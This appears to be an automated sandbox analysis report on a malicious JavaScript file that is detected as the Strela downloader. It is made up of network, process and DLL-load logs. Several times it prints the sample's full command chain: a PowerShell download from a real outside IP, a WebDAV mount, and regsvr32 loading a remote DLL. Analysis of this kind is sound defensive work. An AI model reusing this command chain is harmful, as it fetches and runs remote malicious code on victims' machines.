Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1681512726.0000027433303000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1743532594.0000025BA9FA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743532594.0000025BA9F79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743532594.0000025BA9F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1743532594.0000025BA9F48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000006.00000002.1743532594.0000025BA9F79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: svchost.exe, 00000008.00000002.2961187342.000001F147A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1742700193.000001F147C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1742700193.000001F147C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1742700193.000001F147C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1742700193.000001F147C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1742700193.000001F147CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1742700193.000001F147CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1742700193.000001F147CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6656, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 5476263142183119959.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6840:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqvepieq.wn5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5476263142183119959.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5476263142183119959.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1600,i,6624420939550628142,2575056952724772657,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1600,i,6624420939550628142,2575056952724772657,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
